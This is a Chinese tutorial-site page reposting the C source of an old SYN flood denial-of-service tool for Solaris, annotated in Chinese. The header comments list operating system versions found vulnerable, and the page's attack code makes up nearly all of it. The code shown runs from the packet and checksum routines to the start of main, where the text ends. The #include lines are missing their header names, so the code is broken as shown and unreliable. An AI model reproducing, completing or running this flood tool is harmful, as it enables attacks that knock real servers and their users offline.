当前位置: 首页 > 图文教程 > 网络安全 > 安全基础 > 一个SYN攻击的源程序

安全基础
十大高招教会你摆脱黑客的网络攻击
2007个人计算计安全配置手册---武装到牙齿
【安全防护】网络入侵检测初步探测方法
保护系统 从防范IP泄漏开始!
教你如何防止系统中IE被恶意修改
交换机路由器更加安全三种办法
网络的核心所在 交换机漏洞五宗罪
上网必看,8招让你安全高效上网
提醒 网络玩家成为黑客攻击主要对象
十一种常见流氓软件完全卸载方法
聊天的危险 即时通讯常见安全问题
保护系统从防范IP泄漏开始
动态嵌入式DLL木马简便发现与清除方法
更新换代Vista系统安全新特性全面阐述
不可不留神 病毒损坏硬件有七大损招
注册表探秘 跟踪病毒的映象劫持的危害
追根溯源DLL技术木马进程内幕大揭密
擦亮眼睛小心假冒卡巴斯基的陷阱
简单安全习惯减少电脑资料丢失损坏几率
避免自己的服务器被列入黑名单的小技巧

安全基础 中的 一个SYN攻击的源程序


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-10-28   浏览: 66 ::
收藏到网摘: n/a


/* Syn Attack against a port for Solaris */

/* Original land attack, land.c by m3lt, FLC */

/* Ported to 44BSD by blast and jerm */

/* Ported to Solaris by ziro antagonist */

/* Referenced flood.c by unknown author */

/* Converted into a syn attack against one port by CRG */

/* Please use this for educational purposes only */

/* Compiles on Solaris gcc -o synsol synsol.c -lsocket -lnsl */

/* Additional notes: */

/* Successfully compiled on Solaris 2.51 and 2.6 */

/* Runs: synsol    */

/* */

/* Tested it on: Solaris 2.6 */

/* */

/* Attacked against: */

/* Linux 2.0.33 - vulnerable */

/* Linux 2.0.30 - vulnerable */

/* Linux 1.2.13 - vulnerable */

/* Solaris 2.4 - vulnerable */

/* Solaris 2.5.1 - vulnerable */

/* SunOS 4.1.3_U3 - vulnerable */

/* Solaris 2.6 - not vulnerable */

/* */

/* Most of these test machines are not patched because they */

/* are in test lab. I tested the program against port 23 and */

/* every once in awhile I did get through. */

/* */

/* Direct any comments, questions, improvements to */

/* [email protected] */

/* http://www.genocide2600.com/~tattooman/ */

/* Your emails will be forwarded to the author, who wishes */

/* to remain known only as CRG (no email addy or URL) */

/*jjgirl:上面的注释的不用说了!*/

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

/*jjgirl:上面是头文件!*/

 

unsigned long srcport;

 

struct pseudohdr

{

struct in_addr saddr;

struct in_addr daddr;

u_char zero;

u_char protocol;

u_short length;

struct tcphdr tcpheader;

};

/*jjgirl:定义一个伪装地址的结构!*/

 

u_short checksum(u_short * data,u_short length)

{

int nleft = length;

int sum=0;

unsigned short *w = data;

unsigned short value = 0;

 

while (nleft > 1) {

sum += *w++;

nleft -= 2;

}

 

if (nleft == 1) {

*(unsigned char *) (&value) = *(unsigned char *) w;

sum += value;

}

sum = (sum >>16) + (sum & 0xffff);

sum += (sum >> 16);

value = ~sum;

return(value);

}

/*jjgirl:上面校验文件!包头是需要校验的,CRC校验!*/

 

 

int main(int argc,char * * argv)

{/*jjgirl:主程序开始了!*/

struct sockaddr_in sin;

struct sockaddr_in din;

struct hostent * hoste;

struct hostent * host1;

int j,sock,foo, flooddot=1;

char buffer[40];

struct ip * ipheader=(struct ip *) buffer;

struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct ip));

struct pseudohdr pseudoheader;

/*jjgirl:上面定义变量!*/

 

fprintf(stderr,"Syn attack against one port.(Infinite)\n");

 

if(argc<4)

{

fprintf(stderr,"usage: %s   \n",argv[0]);

return(-1);

}